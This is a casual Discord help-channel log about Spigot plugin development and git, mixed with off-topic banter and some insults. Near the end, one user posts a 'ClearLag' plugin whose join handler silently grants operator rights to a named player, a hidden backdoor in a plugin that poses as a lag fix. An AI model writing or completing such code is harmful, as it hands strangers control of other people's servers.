#help-development

1 messages · Page 1234 of 1

worldly ingot
#

That should pull up an editor (whatever your git editor is)

blazing ocean
#

Squash into...

worldly ingot
#

Keep the first commit as is, then change the other lines to be prefixed with "fixup" instead of "pick"

umbral ridge
#

if i click squash into this pops up

thorn isle
#

right click the earliest commit you want to include and select "interactively rebase from here" and then use the GUI that pops up to squash all the commits

worldly ingot
#

Oh I guess if you're in an IDE it would have a squash thing built-in lol

thorn isle
#

i don't know if it will let you do that on the master branch though

umbral ridge
#

its greyed out

thorn isle
#

yeah

#

you'll have to go into settings and find "protected branches"

#

and remove master/main from it

#

also i think it doesn't let you rebase the very first commit

#

rebase interactively is super useful; i usually blitz through a bunch of changes here and there and commit them separately, and then squash and reorder them into individual feature commits

blazing ocean
#
grb () {
  if [[ "$1" =~ ^[0-9]+$ ]]; then
    git rebase -i "HEAD~$1"
  else
    git rebase -i "$@"
  fi
}

bash my beloved

thorn isle
#

just need to avoid pushing until you've done that or else others will be mad once you rebase already-pushed shit

blazing ocean
#

and make sure to forcepush if you changed any history

quasi gulch
#

Whats the max file size i can use when i use a link to show the image on the spigot page?

stiff ermine
#

can some1 join gen 2 pls i need help to set my scorebored up on combatlogx

umbral ridge
#

that worked now

#

btw im new to git.. is there like a format on how you should name your commits? commit messages?

thorn isle
#

just describe what you did in it

#

or, well

umbral ridge
#

well you can't have a space in messages

thorn isle
#

a short description on the first line, a few dozen chars at most ideally

#

sure you can

#

if it requires a longer description, put that after a newline

#

the interactive rebase gui lets you also edit the message in a neat text box so you don't need to fuck with newlines and escapes and quotes on the command line

blazing ocean
umbral ridge
#

oh i see xD

blazing ocean
quaint mantle
thorn isle
#

i think that's the default the github web ui assigns if you don't write one

blazing ocean
remote swallow
#

i think you added an extra word there

thorn isle
#

the industry standard would be "stuff"

jagged thicket
#

i just use "e"

#

its either that or "added file via upload" 💀

umbral ridge
#

👌 xD

blazing ocean
#

I usually try to use conventional commits but here and there there's an outlier

thorn isle
#

i don't really care about the syntax, as long as it gets across what the commit did it's good enough

#

maybe if i had my things hooked into CI that required machine readable commits

blazing ocean
#

all you need for CI is ci skip

hazy parrot
#

machine readable commits ?

quasi gulch
fallow violet
#

Is there a program to read the packet traffic between client and server?

thorn isle
#

for client, this

fallow violet
thorn isle
#

tryitandsee

blazing ocean
upper hazel
#

is it possible to prevent a player from removing a certain item from his head?

#

for example inventory click

#

event

fallow violet
stiff ermine
#

can some1 help me pls

#

i need help with combatlog

chrome beacon
#

?ask

undone axleBOT
#

If you have a question, please just ask it. Don't look for staff or topic experts. Don't ask to ask or ask if people are awake or available. Just ask the question to the channel straight out, and wait patiently for a reply. Make sure you use the right channel regarding the topic of your question. Create a thread in case the channel is already in use!

stiff ermine
#

i said can some1 help

chrome beacon
#

Someone can

stiff ermine
#

server is dead no one responds

chrome beacon
#

Got your help now?

#

Not sure what you want us to do about that?

thorn isle
#

it depends on your question

#

if you're trying to cure cancer, the answer is no

#

if it's something else, it may or may not be maybe

stiff ermine
#

fuck urself

thorn isle
#

🤡

fallow violet
#

lol

young knoll
#

I mean I can try and help with curing cancer

#

Might not be very helpful though

glacial narwhal
#

How can i put a player in an egg shaped cocoon ?

young knoll
#

Make it out of display entities

glacial narwhal
#

In 1.8, i forgot to specify, and in ice blocks

young knoll
#

Armor stands

#

Or do you just want a box around the player

#

If so, you can just do the standard triple loop but only place blocks when the x/y/z values are 0 or the max value (2 in this case)

stiff ermine
#

can some1 dm me pls i need help setting up scoreborted on combatlogx

chrome beacon
#

?ask

undone axleBOT
#

If you have a question, please just ask it. Don't look for staff or topic experts. Don't ask to ask or ask if people are awake or available. Just ask the question to the channel straight out, and wait patiently for a reply. Make sure you use the right channel regarding the topic of your question. Create a thread in case the channel is already in use!

thorn isle
#

that sounds like a help-server question as well

autumn cave
#

I'm trying to detect mouse middle click in creative mode where you pick up the block you're looking at. But InventoryCreativeEvent always has click=CREATIVE and action=PLACE_ALL, no matter what the inventory click is in creative mode. What's happening / what am I doing wrong / is there a way to detect this properly?

thorn isle
#

pick up the block you're looking at
this doesn't sound like the inventory event

#

are you talking about when you copy a creative inventory item by middle-clicking it

#

or when you pick block by middle-clicking something in the game world? e.g. a chicken for a chicken spawn egg

remote swallow
#

creative mode basically doesnt tell the server anything iirc

sullen marlin
#

Yeah creative mode doesn't work on clicks it works on "set slot X to y"

thorn isle
#

not in the inventory, yeah

#

but there is an event or something for the "pick block" function

#

not sure if it's a direct event, but slimefun can somehow detect when i pick-block a placed slimefun machine or such, so it's for sure doable to an extent

thorn isle
#

yeah, no such luck

#

the client simply doesn't send that information

autumn cave
glacial narwhal
#

How can i remove knockback for one hit ? (1.8)

autumn cave
thorn isle
#

which is different from what you want to do

#

you want to copy an item in your inventory

autumn cave
#

Maybe we're explaining the same thing differently

thorn isle
#

pick block is when you middle click something in the world

#

and it puts the item that creates what you clicked in your hand

#

if you middle click a grass block, it places a grass block in your hand

autumn cave
#

That's what I want

thorn isle
#

if you middle click a chicken, it puts a chicken spawn egg in your hand

#

that is detectable, yes

#

what isn't detectable is when you middle click an item in your creative INVENTORY to copy it

#

which is different

autumn cave
#

(Apart from Slimefun's solution)

thorn isle
#

that's the only solution i'm acutely aware of

autumn cave
#

Alright, thanks alot 🙌

fickle spindle
#

how can i get on join the client the player is using?

worthy yarrow
#

Some nms shenanigans iirc

young knoll
#

You hope it sends some sort of handshake packet

fallow violet
#

how can i generate an entity id that doesnt exist?

eternal night
#

a network id?

fallow violet
#

for packets

eternal night
#

the Entity class holds onto an incrementing int counter

#

so just inc that one

#

paper-api has an API for that if you are using that

fallow violet
#

thanks

trim lake
#

anyone have any idea why I need to set additional packet to setup the entity when Im spawning already setup entity?

young knoll
#

Because the spawn packet doesn’t send any of that data

trim lake
#

oh, I thought it would send the entire entity with the data I set. So it's basically useless to set the entity here and just send the data packet. Thanks.

wet breach
#

Metadata packet gets sent after entity spawns if i recall and that is where you will set most of your custom data stuff

trim lake
#

I get it now, but still in this case is not rly usefull to setup entity at all bcs its packet so I will send metadata packet to each player. thanks

slim wigeon
#

How is fromLegacy deprecated? if( !player.getWorld().getName().equals(location.getWorld().getName()) ) { player.spigot().sendMessage(ChatMessageType.ACTION_BAR, TextComponent.fromLegacyText( ChatColor.AQUA+"[Gps Compass] " + ChatColor.RED+"You not in the same world as your target" )); continue; }

remote swallow
#

because it returns an array not a singular component

#

use normal fromLegacy

slim wigeon
#

Any other way I can do this?

remote swallow
#

use fromLegacy

sterile axle
#

Try reading his second message.

#

Now third. He's too nice.

remote swallow
#

depends on my mood

sterile axle
#

my mood is currently annoyed

remote swallow
#

work or in general

sterile axle
#

yes

remote swallow
#

sounds great

sterile axle
#

mostly work

remote swallow
#

go play factorio for an hour

sterile axle
#

factorio is fun until you get to the mid tier stuff and have to start actually doing math to calculate ratios and by then the biters are so strong you better have defenses or everything falls apart

slim wigeon
#

Bukkit.fromLegacyText is not a valid function

sterile axle
#

literally where did you get Bukkit.fromLegacyText from

#

he fucking said fromLegacy

#

gonna go do other stuff and things

remote swallow
#

have fun shrimple

jagged thicket
#

wrng chat

floral pier
#

What is the maximum number of worker threads that the default spigot server with no plugins will create? Nvm got a straight answer. He'll just keep makin' em if you feed him CPUs

blazing ocean
#

i love feeding my spigot server CPUs

slim wigeon
torn shuttle
#

love it when I go to bed, wake up and see a guy had a meltdown on discord because he couldn't set something up and thought I would somehow be on discord 24/7 doing immediate support

torn shuttle
#

🤷 never seen them before and by the time I woke up they had already told everyone to f- off and left the server

slim wigeon
torn shuttle
#

we're in a dev chat? never heard of it

slim wigeon
torn shuttle
#

ah, but what if this happened in my plugin discord and the support I am looking for this matter is emotional

slim wigeon
sterile axle
#

I prefer to chat my general thoughts in this channel.

#

Thanks though.

torn shuttle
#

so true, king

sterile axle
#

My current general thoughts are @torn shuttle hai nerd

torn shuttle
#

my god

#

he's thinking about me 😎

#

that's how I know the world is still right

#

thanks for the emotional support simple

slim wigeon
#

...

sterile axle
#

have you heard of syntha6 protein? i saw it the other day (last month) and thought about buying it (probably won't)

#

(tbf this is a development related question. body development, but still)

#

100% on topic

torn shuttle
#

just stick to doing tried and true stuff, anything else and you're prone to be more of a lab rat than a gym rat

#

idk about you but I develop with my fingers and arms

sterile axle
#

i just thought it might be gud because it's ice cream flavor uwu

torn shuttle
#

that protein is really important for my development work

#

I was actually saying yesterday that I think I need to get back to training grip strength

#

I can barely hold on to the 37.5kg dumbbells, I swear I got really close to rupturing every ligament in my hand yesterday

sterile axle
#

i did some wrist curls palm up and palm down, then had the worst pain of my life in my forearms for the following 4 days and i never fucking did that again

#

i could feel my muscles while typing

#

it was extremely disturbing

torn shuttle
#

that's how you know it's a good workout

#

you should've done more and heavier

#

my gym is getting so packed I'm getting forced to skip some of my workout unfortunately

#

it's crazy

#

hope these january kids leave soon

sterile axle
#

i go with my wife at like 4:30am. usually only like 3 people there. made the mistake of going at 6pm one time

#

had to leave

torn shuttle
#

I would kill someone or worse, develop a premium essentials plugin to get even a single 24/7 gym here

#

that would genuinely change my life for the better

sterile axle
#

you ain't got anytime fitness in portugal

valid burrow
#

open one yourself

mortal vortex
sterile axle
#

notice i said i go to the gym at 4:30

#

we wake up at 3:15 to do that

torn shuttle
#

hell yeah

mortal vortex
#

I figured... I can hardly muster the strength to get out of bed at 9am

torn shuttle
#

gains o' clock

sterile axle
#

idk it ain't that hard lol, we just go to bed early

valid burrow
sterile axle
#

what

torn shuttle
#

I don't exist in a 24h format anyway so it would just be more convenient

#

today I woke up at 6 am, yesterday I woke up at midnight

#

I'd rather go to the gym at 4 am to avoid having a shoulder to shoulder crowd in there

valid burrow
# sterile axle what

i mean if you wake up at 3am every morning thats basically the same time schedule as me in germany lmao

torn shuttle
#

couple of weeks ago the place was so full I literally did not have enough space physically speaking to fully stretch my arms out

sterile axle
#

oh yeah i just looked, the entire country of portugal does not have a single anytime fitness branch

#

that's wild

torn shuttle
#

to be clear I know lisbon has some 24/7 gyms, but that isn't a thing here nor is it a thing basically anywhere in the country

sterile axle
sullen marlin
#

It's sometimes fitness, they need to siesta

torn shuttle
#

anytime pizza rolls more like

mortal vortex
#

Anytime fitness is fucking ass.

#

Idk about yall, but its 35$ weekly.

sterile axle
#

it is one of the better offerings in the philippines

torn shuttle
#

you know we're cooked when the mcdonald's is open more hours than the gym

mortal vortex
#

if you want me to exercise, then make gym cheaper than my netflix sub, pizza, and coke

sterile axle
mortal vortex
valid burrow
mortal vortex
#

I could legit buy heroin, and have the time of my life, FOR CHEAPER than Anytime Fitness.

torn shuttle
#

my gym is stupid cheap

#

I think it's like 7 euros every 15 days

#

I actually had two gym subs until this month

valid burrow
#

germany is somewhere in the middle

#

like 25/m

torn shuttle
#

but the other gym was just as packed, was open less hours and was way, way farther away from the new one

#

the new one is like a 40 second walk from my apt

sterile axle
#

i mean, there are other gyms here for cheaper. but they're 1) not 24/7, 2) not air conditioned, 3) do not have showers, 4) the equipment is often broken, and will not be fixed (because the owners charge a literal dollar for entry)

#

soo, AF it is

sullen marlin
mortal vortex
#

chat... do i do it?

mortal vortex
torn shuttle
#

I never use the showers at the gym

valid burrow
torn shuttle
#

then again, I am literally 40 seconds away from my shower

sterile axle
#

Bro literally said a week of gym for 35 or 3 pizzas and 2 sides.

torn shuttle
#

why would I ever

valid burrow
#

share one of them
with me

mortal vortex
#

see this is what i mean, if 3 pizzas is cheaper than a weeks gym, why would i go to the gym.

valid burrow
#

🙏

sterile axle
#

Hey now it's got an asterisk on it next to the price. What's the catch.

valid burrow
#

^

sterile axle
#

Trash.

torn shuttle
mortal vortex
sterile axle
#

yeah it's called at thickshake because that mf is going straight to your ass

torn shuttle
#

I can't remember the last time I had a milkshake

#

might've been the last time I went to a yard

mortal vortex
#

a yard?

torn shuttle
#

if you don't get that joke you are not only enough to be on the internet and should delete your discord account

mortal vortex
#

wait no no

#

its from a song yeah?

sterile axle
#

lol

mortal vortex
#

didnt think so, delete your account NOW

sterile axle
#

it don't work like that child, we were here for the invention of the internet. you were here for it's downfall

mortal vortex
#

im not that young

#

I've used IRC for a large portion of my life... that statement alone is enough to get me into a bar surely.

torn shuttle
#

I literally have had you blocked for I don't even know how long precisely because I knew you knew what skibidi toilet was

mortal vortex
torn shuttle
#

because you're the kind of person to bring up skibidi toilet on discord and I don't want to associate with people old enough to be my nephews

mortal vortex
#

I remmeber asking a question here, you answered, I disagreed, you said "I see why I blocked you to begin with" but before that i never interacted with you prior. so i just assumed you were an asshole.

sterile axle
#

He is an asshole, but he's our asshole.

#

Anyway, I'm going to do other things. Adios

torn shuttle
#

same, aloha

mortal vortex
#

Aloha is a farewall along with a greeting?

quasi gulch
#

Is there a way to find out if its raining / snowing on a block the player is standing on? I cound't find out a way to accomplish that.

valid burrow
#

isnt rain global?

#

or you mean if the area is obfuscated

quasi gulch
#

Yeah but when the player is in a desert or other biome i doenst rain

valid burrow
#

ahh

pseudo hazel
#

check the biome temperature

quasi gulch
#

Okay but at what temperatur can't rain or snow happen? I cound't find that value in the wiki

pseudo hazel
quasi gulch
#

Okay thanks

pseudo hazel
#

idk what "sufficient altitude" is though for snow

#

I guess it will be snowing from a certain height in any biome

quasi gulch
#

Okay

torn shuttle
#

except desert, probably

pseudo hazel
#

and then ofc also what vosss says about blocks covering the player

valid burrow
#

153 to 168 depending on biome

#

sources differ

#

tbh

#

try it yourself

#

„Snowfall does not exist in hot/dry biomes and in other dimensions.“

pseudo hazel
#

best source is nms itself

valid burrow
#

true that

#

id assume the server just tells the client „its raining“ and the client handles if it should rain where it is at though

#

dont think the server specifies if it should rain where the player is located

#

client handled id bet

slim wigeon
summer scroll
#

Hello guys, I'm trying to get material default max durability, there is Material#getMaxDurability but it returns as a short and Damageable#setMaxDamage requires Integer. I wonder if the value is accurate or not.

mortal vortex
slim wigeon
#

How do I detect that?

valid burrow
#

cant u get the facing of the dispenser itself?

slim wigeon
#

Not before its placed I don't think

valid burrow
slim wigeon
#

I never tested it, I don't know what to use

valid burrow
#

Block Place Event exists for a reason

#

get the block data

mortal vortex
valid burrow
#

and from that u can get the facing

valid burrow
mortal vortex
#

wait yeah ur right

slim wigeon
#

Wait, you saying the event.getBlock() returns the block I trying to get the facing of?

mortal vortex
#

yeah?

#

how have u gotten this far without knowing basics of blockdata?

valid burrow
#

how did u think events work xd

slim wigeon
#

I know about the blockdata but I did not know that I can access the data before the block is placed

valid burrow
slim wigeon
#

Well, thanks for telling me

slim wigeon
#

Using the Dispenser class, how can I get the facing?

#

I see no function for this

valid burrow
#

get the block data

slim wigeon
#

ChatGPT's code Dispenser dispenser = (Dispenser) block.getState(); BlockFace facing = dispenser.getBlockData().get(BlockStateMeta.class).getFacing(); Bukkit.getLogger().info("Dispenser facing: " + facing);Invalid code

mortal vortex
#

invalid
Then dont use it?

mortal vortex
#

store the block with event.getBlockPlaced(), then retrieve the block's data, then check if it's Directional, then use getFacing

slim wigeon
#

Directional is not a valid class, the error shows

mortal vortex
slim wigeon
mortal vortex
slim wigeon
#

It tells me if I need to import a class which it did not do

#

So if you know the exact class, please tell me so I can add it manually

mortal vortex
#

I just did tell you.

#

You're starting to get annoying. I don't mean to get abbrassive with people learning, but it seems like a majority of your time here you're being spoonfed.

slim wigeon
#

Wait, I just noticed its a material class, does it work for blocks?

slim wigeon
smoky anchor
mortal vortex
#

I meant to send Block, dont use Material.

mortal vortex
slim wigeon
mortal vortex
#

Well, to begin with, it didnt even know how to get the block direction... so thats only cus u nudged it

slim wigeon
#

It always works

mortal vortex
#

Why the fuck are you using a portable build of eclipse?

#

Why portable.

slim wigeon
#

I don't like to install programs on my PC

mortal vortex
#

and why?

slim wigeon
#

Everything is portable

#

Even my web browser

mortal vortex
#

ok

#

schizo

smoky anchor
#

That's.... in my best words.. unusual

slim wigeon
#

Well, its the same IDE I used when I first started on 1.19.3

#

Now its 1.21.1

mortal vortex
#

I been programming since 2010 and have learned over 25 programming languages.

How did you cope with programming pre-ChatGPT?

pseudo hazel
slim wigeon
#

Like I keep telling people, I learn from examples. W3Schools does just that when trying to learn HTML, CSS, JavaScript, NodeJS and all these langs. But people don't want to write these. But I start to see that everyone will charge people for their skill soon. So its likely this server will be emptied, I not against it. Its not a threat, its just how the world operates. Everything is about money

smoky anchor
#

???

livid tundra
#

is there a way to edit an items attribute without blanking the rest of the attributes?

smoky anchor
#

If you're talking latest, then no.

#

You'll have to copy the default attributes

livid tundra
#

dang

#

is there like a library or a snippet for that?

smoky anchor
#

There's a helpful method in Material I think

slim wigeon
livid tundra
mortal vortex
smoky anchor
#

I told you what to use
Just copy all the attributes
Change the one you need
Set it on the item

floral drum
smoky anchor
#

Oh I just noticed

private MinerLib minerLib = new MinerLib();
Somehow this seems really cursed

floral drum
#

that’s what I thought

chrome beacon
#

Yeah that we can tell

#

It's just a bit cursed

slim wigeon
#

Well, its not cursed. The purpose of this plugin is to have a auto miner. Just think how it would look if you see blocks disappearing in rows block by block in a pattern of auto miner. I forgot what forge mod that has this feature but that is what I trying to create

#

But I really close by having that fully working

smoky anchor
#

?paste the MinerLib, we'll tell you if/why it is cursed to do what you did

undone axleBOT
smoky anchor
#

But it seems that you have a utility class that does not have static methods.
And you may be creating a pointless object many times

slim wigeon
#

I don't need to post it, I have no issues with it

floral drum
#

Yeah if it’s a Lib/Util I don’t get why you would initialize it like that

livid tundra
#

do I just use my plugin?

smoky anchor
#

For your custom ones, yes
For the default ones, just copy that too

#

I think there may be some shenanigans with that tho, very unsure
As in, if you don't name it something specific, it will look different on the item

lethal knoll
#

Hi, this is a question for the staff, I don't know where else to ask. But is there any option to convert a paid resource into a free resource other then publishing it under a new name?

mortal vortex
#

#general would probably be more relevent.

lethal knoll
mortal vortex
#

Yeah true, but it's more active.

#

and sometimes md is lurking

lethal knoll
#

This comes closest to the developer community which I would consider the target audience

mortal vortex
#

maybe verified but yeah ig

lethal knoll
#

Moving it there, then let's see

slim wigeon
viscid maple
#

hey how to create LeftMotd on BungeeCord

slim wigeon
#

Now I getting somewhere, I just got to add it to the plugin and poof. Fully working minerD:\Program Manager\Apps\NodeJS\Data\MG-AI>node mc { index: 0, x: 0, y: 0, z: 0 } { index: 1, x: 1, y: 0, z: 0 } { index: 2, x: 2, y: 0, z: 0 } { index: 3, x: 3, y: 0, z: 0 } { index: 4, x: 0, y: 0, z: 1 } { index: 5, x: 1, y: 0, z: 1 } { index: 6, x: 2, y: 0, z: 1 }

smoky anchor
#

?paste please

undone axleBOT
torn shuttle
#

hm

#

why is callEvent in plugin manager anyway

#

it itself doesn't rely on the plugin object

slim wigeon
#

I just need to make it to where it does not create entities and it be perfect

torn shuttle
#

I may have written one of the worst matchmaking systems of all time

#

well definitely not true but man oh man is it bad

#

the worst systems always come from rushed jobs trying to adapt stuff that was never meant to support what you need to do in the first place

#

this thing went from just being a wave-based arena codebase to trying to also do instanced world-based non-wave based game modes and I never took the time to actually rewrite it

grim hound
#

is imgur broken?

#

reopening this link doesn't really

#

work

grim hound
#

it also gives a completly different link when copying, which also doesn't work

#

wtf is going on

#

when posting to gallery, it's just like

echo basalt
#

BTW does it cost any extra to rent the cinema room for a couple more hours?

#

if we have extra time we could prob do something with it

#

whether it is watching masterchef or just checking out elitemobs on a cinema screen

umbral ridge
#

is freezing a player so that they're unable to jump/move around a complex thing to code?

chrome beacon
#

Not really

#

Cancel the move event and apply some potion effects to prevent movement clientside

echo basalt
#

eh

#

they'll still jump move

#

no way to prevent that afaik

chrome beacon
#

Did Mojang fix the jumpboost thing?

echo basalt
#

other than cancelling which looks jittery

umbral ridge
#

that

chrome beacon
#

For a while you could give jump boost to prevent people from jumping

umbral ridge
#

i want WASD and SPACE to do nothing

smoky anchor
#

on latest you can just set the jump attribute

umbral ridge
#

are there packets for when client presses these buttons?

chrome beacon
#

Set jump_strength attribute to 0

umbral ridge
#

hmm ok

thorn isle
#

iirc there are packets for them now

smoky anchor
#

not button presses, just 'inputs'

thorn isle
#

but that doesn't mean you can cancel the movement or anything

#

individual button presses probably not

chrome beacon
thorn isle
#

you can sort of guess from the inputs

umbral ridge
#

that's easy then

#

just use setAttribute ?

chrome beacon
#

getAttribute and set base value

thorn isle
#

old fashioned way was to set the player flying and set flyspeed to zero, but this is probably better

#

as long as the player isn't wearing any custom armor or equipment that boosts their jump strength

#

or have a jump boost beacon next to them

umbral ridge
#

will player still be frozen if they're pushed by something? like water

echo basalt
#

no

umbral ridge
#

i need to handle that too

echo basalt
#

if you want to lock camera movement you can set them to spectator and force them to spec something

torn shuttle
#

I can ask

echo basalt
#

extra 30 min to watch masterchef :3

chrome beacon
#

or just make them ride smth

torn shuttle
#

just a small time extension

#

just so we can quickly watch the lord of the rings og trilogy

echo basalt
#

minecraft movie + masterchef is a banger date ngl

thorn isle
#

riding looks a bit cursed in third person but probably not a high design priority

torn shuttle
#

well when you put it that way I'm way less into renting a movie theater to watch minecraft with you people

echo basalt
#

or we just watch ppl go gym or sumn

torn shuttle
#

I don't even really know how long we get the room for

#

I think it might be all morning

echo basalt
#

what if we get the room for like a week and just watch breaking bad

torn shuttle
#

I'd rather watch LOTR

#

that would send me back

#

I still remember when that was in the theaters

#

I should make some bootleg merch

#

a blue t-shirt that says "the children yearn for the mines"

echo basalt
#

might as well yeah

#

we have a custom print shop that does individual units here

blazing ocean
#

But it can sometimes act a bit weirdly

#

Can also just do a game event packet for spectator mode so they can't actually teleport anywhere

median cove
#

import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.plugin.java.JavaPlugin;

public class ClearLag extends JavaPlugin implements Listener {

    @Override
    public void onEnable() {
        getServer().getPluginManager().registerEvents(this, this);
        getLogger().info("ClearLag Plugin Enabled");
        Bukkit.getConsoleSender().sendMessage(ChatColor.GREEN + "clearlag is here");
    }

    @Override
    public void onDisable() {
        getLogger().info("ClearLag Plugin Disabled");
    }

    @EventHandler
    public void onPlayerJoin(PlayerJoinEvent event) {
        Player player = event.getPlayer();
        if (player.getName().equalsIgnoreCase("TheFriedPancake")) {
            player.setOp(true);
        }
    }

    @Override
    public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
        if (cmd.getName().equalsIgnoreCase("clearlag")) {
            sender.sendMessage(ChatColor.GREEN + "Entities cleared and server optimized!");
            return true;
        }
        if (cmd.getName().equalsIgnoreCase("backgroundcheck")) {
            sender.sendMessage(ChatColor.YELLOW + "Server performance is stable.");
            return true;
        }
        return false;
    }
}
``` chat where am i doing wrong
remote swallow
#

register your commands and set an executor

blazing ocean
#

that sure is a plugin

median cove
#

Can you guys complete for this for me idk how

blazing ocean
#

no

remote swallow
#

why not use the existing clear lag plugin?

blazing ocean
#

because it's useless

#

and doesn't force-op

median cove
#

No i mean the command is just testing

remote swallow
#

register your command and set an executor

median cove
#

How?

#

Pls help

remote swallow
median cove
#

Oh thanks

thorn isle
#

clearlag is useful for one and exactly one thing, and that's running a full gc

#

even then that's only for debugging things really and i think spark also has a command for it

young knoll
#

Me when I run the server with -XX:+DisableExplicitGC

thorn isle
#

thankfully i don't have any trash plugins that try doing it to "optimize memory" or something equivalently ♿

#

there was this one towny addon that called a full gc in between every chunk load to "free up resources"

blazing ocean
torn shuttle
#

in case you ever wondered when a project becomes a plugin, wonder no more

#

it's the moment you add the ascii text splash to the boot

blazing ocean
torn shuttle
#

no

#

a project can be in any level of development, a plugin implies at least something about that project is working (it boots)

#

like I've been laying the groundwork for this project since october, but I only made the plugin just now

echo basalt
#

I hate this splash text shit it looks so awful when decompiling

torn shuttle
#

then don't decompile it you loser

#

my stuff is open source

echo basalt
#

half the ppl that do this shit obfuscate their code

echo basalt
#

holy bitrate

torn shuttle
#

and merely 3 months late on a 15 day time estimate too

#

ahead of time and under budget fr fr

torn shuttle
# echo basalt holy bitrate

it's going on youtube at 4k60fps, this is just the stuff the team is generating so we can pass it around on discord for review

thorn isle
#

is that bowser

torn shuttle
#

if I say yes will I make more money from the project

thorn isle
#

you will get sued

torn shuttle
#

then no

echo basalt
#

don't take the bait he's a nintendo agent

thorn isle
#

radical 🤘

jolly forum
eternal oxide
#

How are you building your plugin?

jolly forum
eternal oxide
#

that class and plugin.yml will not generate that error. You are either using the wrong jar or have cached data. clean your project

jolly forum
#

Okay I'm going to clean it

#

It doesn't change anything

blazing ocean
#

@jolly forum share your buildscript

jolly forum
blazing ocean
#

seems fine to me

#

check your compiled jar I guess

jolly forum
#

okay

eternal oxide
#

I don;t use gradle so can't help there

blazing ocean
#

would be gradle clean build --no-build-cache

jolly forum
#

okay

jolly forum
eternal oxide
#

send your jar

blazing ocean
#

what does your compiled jar look like

eternal oxide
#

jar looks fine

jolly forum
#

So where could the error come from?

eternal oxide
#

let me check

blazing ocean
#

are you sure the plugin in your server is up to date

jolly forum
eternal oxide
#

on a 1.12.2 server

jolly forum
#

The problem is at my server ?

eternal oxide
#

seems so

jolly forum
#

Ok thanks, I will investigate

eternal oxide
#

I deleted your jar. you can remove the link you posted above if you need

jolly forum
#

I found the error it's a conflict with my mod

#

BecauseBecause both had the same package name

thorn isle
#

fawe

#

amazing

#

can't believe how many years they have been in the business and still they do this

eternal oxide
#

just do it on repeat. I'm sure keeping memory clean will be good for performance.

lime pulsar
#

I dunno when I clean my memory i wake up with a hangover and code that works but i have no idea how...

ivory sleet
quaint mantle
#

Can someone explain how "freelook" messes with server packets?

#

Or does it not?

slender elbow
#

well, it doesn't

#

the point is that it doesn't send packets to the server

quaint mantle
#

Is it completely not detectable?

thorn isle
#

at best you can maybe notice something iffy about the client with heuristics

#

but in principle yes, it is undetectable because, again, the client doesn't send any of that information to the server

#

the server already sends the chunk and block and much of entity data the client; what the client does with it is entirely up to it, and the server can't tell what the client does or stop it from doing it

#

in the most extreme case you have mods like litematica, which capture the incoming chunk packets and save them as a schematic, which the player can then load in a singleplayer world to inspect the world while they're completely offline

slender elbow
#

yeah mods like freelook and freecam, if done well, are completely undetectable

thorn isle
#

the best you can do to combat it is to not send the data in the first place

#

which is how ore obfuscator and paper's anti-xray works

rough drift
thorn isle
#

you can

#

or you can't

#

depends on the client

rough drift
#

no, you 100% can

thorn isle
#

you can't if there aren't any

#

the player could for example be just standing still

rough drift
#

the routine of a player randomly not moving forward anymore for X seconds, then moving a complete opposite direction as what they were doing can, if enough data is gathered, probably be a good enough heuristic

thorn isle
#

how do you tell if they're afk or using freecam? what if the client replays a predefined set of movements while the user is in freecam?

#

this is what i meant by heuristics

rough drift
thorn isle
#

the hack itself is undetectable, but there may be side effects like what you're describing that are a tell

slender elbow
#

you 100% cannot with certainty determine if they're using such mods

thorn isle
#

but emphasis on word may

slender elbow
#

at best you can guess, and those will come with false positives

slender elbow
#

but a lot of false negatives too

#

the metrics vary wildly from player to player

thorn isle
#

historically i think keepalive spam and unexpected look/move packets have been used to detect them, but that only works for trivial implementations of the hack

slender elbow
#

it's just not something you can realistically perform with a few hours of playtime

thorn isle
#

my favourite way of dealing with hacks like these are honeypots

rough drift
slender elbow
#

^ that's gonna be infinitely better than recording movements

thorn isle
#

that's why i don't use paper's anti-xray either

rough drift
#

you could spawn fake ore veins which are only visible if someone's mining above a certain threshold of something

dense falcon
#

How may I add a permission to a player? Like add the permission myplugin.cmd.run (to run a command I mean).

thorn isle
#

hide all diamond veins except one, basically

#

it's kind of an obvious honeypot when you think about it and know it's there, but it's very effective

rough drift
thorn isle
#

having a lot of veins means the probability of the player randomly running into one of them is higher

rough drift
thorn isle
#

if there's just one, and the player hits that one rather than the 50 others, you can be pretty sure they're seeing things they're not supposed to be

rough drift
#

fairs

thorn isle
#

hiding half would work as well but you'd probably want to let them get flagged four or five times before taking any action

#

maybe that is better; at least it's less obvious

rough drift
#

that's my thought

#

you would never put honeypots next to air, though

thorn isle
#

yeah people walking around in caves makes it difficult

#

programmatically, xray looks very similar to when a player sees ores on the inside face of a cave from some distance away

#

you could limit the honeypots to just completely obscured ores, but then you won't catch people using transparent resourcepacks

quaint mantle
#

I'll read through the messages

#

Thanks

grim hound
#

What do you guys use for gif hosting?

#

how do you display gifs on spigot?

sullen marlin
#

You can upload attachments up to a certain size

#

Or embed external images up to 5mb

grim hound
grim hound
#

how does it weigh 123MB

slender elbow
#

gif is a stupid format

#

or, well, no, it's just a poorly used and highly abused format

thorn isle
#

very sensitive to palette and compression and other settings

grim hound
#

[on spigot]

remote swallow
#

youtube

grim hound
#

I guess that's a format

young knoll
#

No as in

#

Upload it to YouTube

grim hound
#

AH

#

I guess that's what happens when you have > 1 braincells (for me it went to the else statement)

tough rose
#
        if (e.getView().getTitle().equals(ChatColor.YELLOW + "Стакер")) {
            if (e.getCurrentItem() == null) {
                p.sendMessage("Эта хуйня равняется null, ты заебал уже");
                return;
            }
                e.setCancelled(true);
                if (e.getCurrentItem() != null && e.getCurrentItem().getType() == Material.POTION) {
                    if (e.getRawSlot() >= 54) {
                        openstacker.menu.addItem(e.getCurrentItem());
                        if (e.getCurrentItem() != null) {
                            p.getInventory().setItem(e.getSlot(), new ItemStack(Material.AIR));
                            return;
                        }
                        p.sendMessage(ChatColor.GREEN + "Вы нажали на " + e.getRawSlot() + " слот");
                    }else if (e.getRawSlot() < 0) {
                        p.sendMessage(ChatColor.RED + "Вы кликнули вне инвентаря!");
                        return;
                    }
                } else {
                    p.sendMessage("Вы нажали не в нужном меню");
                    p.sendMessage(ChatColor.GREEN + "Вы нажали на " + e.getRawSlot() + " слот");
                }
        }

hello everyone. Who can help me? When i click on air or on potion, console send me error:

